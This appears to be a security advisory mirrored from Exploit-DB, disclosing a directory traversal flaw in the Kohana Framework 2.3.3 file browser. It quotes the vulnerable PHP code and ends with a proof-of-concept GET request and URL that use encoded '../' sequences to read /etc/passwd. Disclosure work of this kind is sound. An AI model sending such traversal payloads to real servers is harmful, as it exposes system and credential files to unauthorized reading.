Kohana Framework 2.3.3 – Directory Traversal

  • 作者: Vulnerability-Lab
    日期: 2013-01-29
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/24436/
  • Title:
    ======
    Kohana Framework v2.3.3 - Directory Traversal Vulnerability
    
    
    Date:
    =====
    2013-01-27
    
    
    References:
    ===========
    http://www.vulnerability-lab.com/get_content.php?id=841
    
    
    VL-ID:
    =====
    837
    
    
    Common Vulnerability Scoring System:
    ====================================
    7.1
    
    
    Introduction:
    =============
    Kohana is an open source, object oriented MVC web framework built using PHP5 by a team of volunteers that aims to be 
    swift, secure, and small. (copy from vendor website) This is an OOP framework that is extremely DRY. Everything is built 
    using strict PHP 5 classes and objects. Many common components are included: translation tools, database access, code 
    profiling, encryption, validation, and more.
    
    Extending existing components and adding new libraries is very easy. Uses the BSD license, so you can use and modify it for 
    commercial purposes. Benchmarking a framework is hard and rarely reflects the real world, but Kohana is very efficient and 
    carefully optimized for real world usage. Very well commented code and a simple routing structure makes it easy to understand 
    what is happening. Simple and effective tools help identify and solve performance issues quickly.
    
    (Copy of the Vendor Homepage: http://kohanaframework.org/ )
    
    
    
    Abstract:
    =========
    The Vulnerability Laboratory Research Team discovered a Directory Traversal web vulnerability in the Kohana v2.3.3 Content Management System.
    
    
    Report-Timeline:
    ================
    2013-01-27:	Public Disclosure
    
    
    Status:
    ========
    Published
    
    
    Affected Products:
    ==================
    Kohana
    Product: Framework - Content Management System 2.3.3
    
    
    Exploitation-Technique:
    =======================
    Remote
    
    
    Severity:
    =========
    High
    
    
    Details:
    ========
    A Directory Traversal web vulnerability is detected in the Kohana Content Management System web application.
    The vulnerability allows remote attackers to request local directories and files of the web server application system.
    
    The vulnerability is located in the `master/classes/Kohana/Filebrowser.php` file in line 90 when processing to request 
    the path dir via replace. The filter replaces `../` by null and it applies on file reading requests. 
    
    Review: Kohana/Filebrowser.php
    
    $thumb = Route::get('wysiwyg/filebrowser')
    ->uri(array(
    'action' => 'thumb',
    'path' => str_replace(array($dir, DIRECTORY_SEPARATOR), array('', '/'), $filename)
    ));
    
    Remote attackers can bypass the validation with the vulnerable replace function in the file browser to read local 
    web server files via directory (path) traversal attack.
    
    Exploitaton of the vulnerability requires no privileged application user account and no user interaction.
    Successful exploitation of the vulnerability results in read of arbitrary system files to compromise web server.
    
    Vulnerable Module(s):
    				[+] Filebrowser
    
    Vulnerable Function(s):
    				[+] str_replace > dir
    
    Vulnerable Parameter(s): 
    				[+] ?path
    
    
    Proof of Concept:
    =================
    The vulnerability can be exploited by remote attackers without privileged application user account and without required user interaction.
    For demonstration or reproduce ...
    
    Review: Kohana/Filebrowser.php
    
    $thumb = Route::get('wysiwyg/filebrowser')
    ->uri(array(
    'action' => 'thumb',
    'path' => str_replace(array($dir, DIRECTORY_SEPARATOR), array('', '/'), $filename)
    ));
    
    
    Review: GET Request
    GET http://media.[server].com/directory/graphics/?path=..%2F..%2F..%2F%2F..%2F..
    %2F%2F..%2F..%2F%2F..%2F..%2F%2F..%2F..%2F%2F..%2F..%2F%2F%2Fetc%2Fpasswd 
    HTTP/1.0
    Host: media.[server].com
    User-Agent: Kami VL
    
    
    PoC: 
    http://media.[server].com/directory/graphics/?path=..%2F..%2F..%2F%2F..%2F..%2F%2F..%2F..%2F%2F..%2F..%2F%2F..%2F..%2F%2F%2Fetc%2Fpasswd 
    
    
    Risk:
    =====
    The security risk of the directory traversal web vulnerability is estimated as high(+).
     
    
    
    Credits:
    ========
    Vulnerability Laboratory [Research Team]- Karim B. (kami@vulnerability-lab.com)
    
    
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    ===========
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